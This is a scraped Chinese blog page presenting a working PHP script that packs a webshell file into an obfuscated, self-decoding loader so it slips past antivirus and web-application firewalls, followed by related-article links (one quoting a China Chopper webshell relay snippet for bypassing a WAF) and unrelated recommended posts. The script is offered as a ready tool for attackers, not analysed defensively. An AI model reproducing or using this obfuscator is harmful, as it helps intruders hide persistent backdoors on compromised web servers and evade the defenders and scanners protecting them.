一个PHP加密脚本,达到一定免杀效果
<?php /****************************************
*author: L.N.
*blog : [url]http://lanu.sinaapp.com[/url]
*date : 2014.01.03
*****************************************/
$Key = "";
$YourShell = file_get_contents("1.php");
if($YourShell == null){
echo "not find content!";
}
$En_Base64 = base64_encode(gzdeflate($YourShell));
$Lm_File = fopen('lm.php',"a+");
$Lm_YourShell = Encode($En_Base64,2, &$Key);
$Lm_YourShell_Key = $Key;
fwrite($Lm_File,"<?php \n/* code by L.N. [url]http://lanu.sinaapp.com[/url] */\n");
fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n");
$Lm_Str_Replace = Encode('str_replace', 2, &$Key);
$Lm_Str_Replace_Key = $Key;
fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n");
$Lm_Base64_Decode = Encode('base64_decode',2, &$Key);
$Lm_Base64_Decode_Key = $Key;
fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n");
$Lm_Gzinflate = Encode('gzinflate',2, &$Key);
$Lm_Gzinflate_Key = $Key;
fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n");
$Lm_Create_Cunction = Encode('create_function',2, &$Key);
$Lm_Create_Cunction_Key = $Key;
fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n");
fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n");
fwrite($Lm_File,'$ex();'."\n");
fwrite($Lm_File,'?>'."\n");
fclose($Lm_File);
function Encode($Str, $Key_Num, &$Key)
{
do{
$Key = RandString($Key_Num);
}while(strpos($Str, $Key) !== false);
return InsertString($Str,$Key,$Key_Num);
} function RandString($Num)
{
$Str = 'abcdefghijklmnopqrstuvwxyz';
$Out_Str = "";
for($i=0;$i<$Num;$i++)
{
$Rand = rand(0,25);
$Out_Str .= $Str[$Rand];
}
return $Out_Str;
}
function InsertString($Str, $Key, $Key_Num)
{
$Str_Len = strlen($Str);
if(intval($Str_Len/20) >= 5)
{
$Str_Rand_Num = 20;
}
elseif(intval($Str_Len/10) >= 5)
{
$Str_Rand_Num = 10;
}
elseif(intval($Str_Len/5) >= 5)
{
$Str_Rand_Num = 5;
}
else
{
$Str_Rand_Num = 2;
}
$Arr_Str = str_split($Str, $Str_Rand_Num);
if($Key_Num > $Str_Rand_Num)
{
echo "Key_Num is not greater than Str_Rand_Num";exit;
}
for($i=1;$i<count($Arr_Str);$i++)
{
$Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i];
if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i]))
{
continue;
}
else
{
$Arr_Str[$i-1] .= $Key;
}
}
$Out_Str = implode($Arr_Str);
return $Out_Str;
}
?>
一个PHP加密脚本,达到一定免杀效果的更多相关文章
- php中转菜刀脚本过狗免杀
<?php $target="url";//shell 地址 菜刀连这个脚本做中转 $post=''; $i=0; foreach($_POST AS $K=>$V) ...
- 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...
- 20165223《网络对抗技术》Exp3 免杀原理与实践
目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...
- 2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践
一.实验要求: . 实践内容(.5分) .5分),msfvenom生成如jar之类的其他文件(.5分),veil-evasion(.5分),加壳工具(.5分),使用shellcode编程(1分) .5 ...
- 2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践
一.实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应用各种技术实现恶意代码免杀 ( ...
- 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5
<网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...
- 20164301 Exp3 免杀原理与实践
Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应 ...
- 2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践 实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...
- 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍
第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...
随机推荐
- 日本电商Rakuten:最凶猛的国际扩张者
这是普及社(puji-she)第五篇关于电商开放平台的文章,今天关注日本的Rakuten,它是一家综合性的企业,核心业务包括电子商务.旅游.信用 及支付.金融证券.新闻门户等.本文关注Rakuten的 ...
- IOS 从系统图库中获取 图片 并设置为头像
总会遇到一些应用 要拍照 设置图片之类的的 总结一个方法备用 以后 会 继续拓展到 多图 @interface AddCustomerViewController : UIViewControll ...
- android基础学习之布局
我学习android第一步接触的就是布局的学习.布局是androidUI的基础,是重中之重.总的来说android有6种布局,分别是线性布局LinearLayout.相对布局RelativeLayou ...
- http错误码大全
响应码由三位十进制数字组成,它们出现在由HTTP服务器发送的响应的第一行.响应码分五种类型,由它们的第一位数字表示:1.1xx:信息,请求收到,继续处理2.2xx:成功,行为被成功地接受.理解和采纳3 ...
- .NET中的Queue和Stack
1.ArrayList类 ArrayList类主要用于对一个数组中的元素进行各种处理.在ArrayList中主要使用Add.Remove.RemoveAt.Insert四个方法对栈进行操作.Add方法 ...
- Spring学习总结三——SpringIOC容器三
一:spring容器自动装配注入 为了减少xml中配置内容,可以使用自动装配注入,代替setter注入,只需要在 bean对象配置中添加属性autoWire即可,那么在类中就会自动扫描setXXX() ...
- 剑指Offer35 两个链表第一个公共结点
/************************************************************************* > File Name: 35_FirstC ...
- Http error code
概要 当用户试图通过HTTP或文件传输协议(FTP)访问一台正在运行Internet信息服务(IIS)的服务器上的内容时,IIS返回一个表示该请求的状态的数字代码.该状态代码记录在IIS日志中,同时也 ...
- 查询score中选学多门课程的同学中分数为非最高分成绩的记录。
20.查询score中选学多门课程的同学中分数为非最高分成绩的记录. select * from score a where sno in ( select sno from score group ...
- codevs1011 数的计算 2001年NOIP全国联赛普及组
题目描述 Description 我们要求找出具有下列性质数的个数(包含输入的自然数n): 先输入一个自然数n(n<=1000),然后对此自然数按照如下方法进行处理: 1. 不 ...